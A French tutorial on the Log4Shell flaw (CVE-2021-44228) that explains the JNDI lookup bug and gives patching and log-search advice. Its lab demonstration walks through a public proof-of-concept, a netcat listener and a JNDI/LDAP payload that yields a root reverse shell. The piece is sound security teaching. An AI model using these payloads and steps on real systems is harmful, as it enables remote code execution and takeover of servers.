Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous ! Dans cet article, nous allons parler des vulnérabilités affectant Log4J, et plus particulièrement de la CVE-2021-44228 affectant le paquet de journalisation java. Cette vulnérabilité a un score de sévérité de 10.0 (CVSS) et offre la possibilité d’exécuter du code arbitraire (RCE) sur les hôtes exécutant la version vulnérable de log4j. Cette attaque a également été appelée « Log4Shell« .

Pour l’instant trois vulnérabilités publiques ont été publiées à savoir :

• CVE-2021-44228 (https://nvd.nist.gov/vuln/detail/CVE-2021-44228) – CVSS Score : 10 – Type : RCE
• CVE-2021-45046 (https://nvd.nist.gov/vuln/detail/CVE-2021-45046) – CVSS Score : 9.0 – Type : RCE
• CVE-2021-45105 (https://nvd.nist.gov/vuln/detail/CVE-2021-45105) – CVSS Score : 7.5 – Type : Dos

Pour plus d’informations, je vous invite à consulter les liens associés.

I. Qu’est-ce que Log4J ?

Log4j est un utilitaire de journalisation basé sur Java qui fait partie des services de journalisation Apache. Log4j est l’un des nombreux framework de journalisation utilisés par des millions d’applications Java dans le monde.

A. Focus Log4jshell (CVE-2021-44228)

II. Scénario d’exploitation

Un attaquant qui peut contrôler les messages de journal ou les paramètres des messages de journal peut exécuter du code arbitraire sur le serveur vulnérable chargé à partir de serveurs LDAP lorsque la substitution de recherche de messages est activée. Par conséquent, on peut élaborer une requête spéciale qui permettrait de charger et d’exécuter notre payload.

Voici l’exemple le plus courant utilisant la combinaison de JNDI et LDAP :

${jndi:ldap://<host>:<port>/<payload>}

JNDI (Java Naming and Directory Interface) est une interface de programmation d’applications (API) qui fournit des fonctionnalités de dénomination et d’annuaire aux applications écrites en langage de programmation Java.

1. Un attaquant insère la recherche JNDI dans un champ d’en-tête susceptible d’être enregistré.
2. La chaîne est transmise à log4j pour la journalisation.
3. Log4j interpelle la string et interroge le serveur LDAP malveillant.
4. Le serveur LDAP répond avec des informations de répertoire qui contiennent la classe Java malveillante.
5. Java désérialise (ou télécharge) la classe Java malveillante et l’exécute.
6. un reverse shell est amorcé entre les deux parties prenantes.

III. Démonstration

Pour cette démonstration, je vais utiliser deux machines virtuelles :

• Kalilinux : 192.168.130.128/24
• Ubuntu : 192.168.130.130/24 (disposant de docker au préalable)

Installation de l’application vulnérable

Sur votre machine victime (dans mon cas ubuntu), exécutez les commandes suivantes :

git clone https://github.com/kozmer/log4j-shell-poc.git

cd log4j-shell-poc
sudo su
docker build -t log4j-shell-poc .

Puis créez un conteneur à partir de cette image :

docker run --network host log4j-shell-poc

Patientez quelques secondes, puis naviguez vers l’URL suivante :

http://localhost:8080

Vous devriez obtenir cette page :

Voici donc l’application vulnérable docker et la zone qui est affectée par cette vulnérabilité est le champ username. C’est ici que nous allons injecter notre payload. La configuration de celle-ci est donc maintenant terminée. Passons à la phase d’exploitation depuis la VM Kali.

Phase d’exploitation

Nous devons cloner le même dépôt :

cd ~ 

git clone https://github.com/kozmer/log4j-shell-poc.git

Ensuite dirigez-vous vers le dossier Downloads de votre Kali.

cd /home/$USER/Downloads

Puis, nous devons installer la version JDK. Celle-ci peut être téléchargée à partir du lien suivant.

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

Lien racine original : https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Décompressez ce fichier en exécutant la commande tar -xf puis déplacez le fichier extrait dans le dossier /usr/bin.

tar -xf jdk-8u202-linux-x64.tar.gz
sudo mv jdk1.8.0_202 /usr/bin
cd /usr/bin

Une fois que cela est fait, naviguons vers le répertoire précédemment cloné : log4j-shell-poc. Ce dossier contient un script python, poc.py, que nous allons configurer selon la version de notre JDK (que nous avons précédemment installé).

Changer la valeur des trois occurrences en bleue comme ci-dessous en prenant garde d’éviter toutes erreurs de frappes.

Maintenant que tous les changements ont été faits, nous devons sauvegarder le fichier et créer un « listener » qui va écouter sur le port 9001

nc -lvp 9001

Puis dans un autre terminal, à l’intérieur du dossier log4j-shell-poc, exécutez la commande suivante :

python3 poc.py --userip 192.168.130.128 --webport 8000 --lport 9001

Ce script va démarrer le serveur LDAP local malveillant.

Dès que le serveur LDAP a finit son démarrage, envoyez votre charge utile (payload), dans le champs username de l’application web :

http://192.168.130.130:8080

${jndi:ldap://192.168.130.128:1389/a}

Cliquez sur le bouton login pour amorcer le payload. Retournez dans votre terminal où netcat est exécuté. Vous devriez obtenir un reverse shell qui plus est en tant que root.

Je vous l’accorde le reverse shell est très basique, mais cela suffit ^^. C’est tout pour la partie démonstration.

IV. Contre-mesures

Je pense que à travers ce guide vous avez mesurer le gravité de cette faille, ainsi que sa facilité d’exploitation. Afin de limiter les risques pour votre système d’information, Vous devez localiser et mettre à niveau toutes les instances de log4j vers au moins la version 2.17.0 pour atténuer toutes les menaces identifiées.

A. Comment vérifier l’existence de la vulnérabilité Apache Log4J sur une instance ?

Vous pouvez fouiller dans les logs de vos instances en recherchant des mots clés comme :

• ldap
• jndi
• ${::

Mais cela peut s’avérer fastidieux si vous avez beaucoup d’instance exécutant Apache Log4J. Le mieux est d’utiliser un scanneur automatique de détection comme :

https://github.com/fullhunt/log4j-scan

Pour plus d’information et restez en veille sur cette vulnérabilité, vous pouvez aussi suivre le thread de la société Orange Cyberdefense consacré à cette faille :

Log4j Vulnerability – Critical Vulnerability in Apache Log4J

Merci @isster pour sa relecture.

++

Geoffrey Sauvageot-Berland – GSB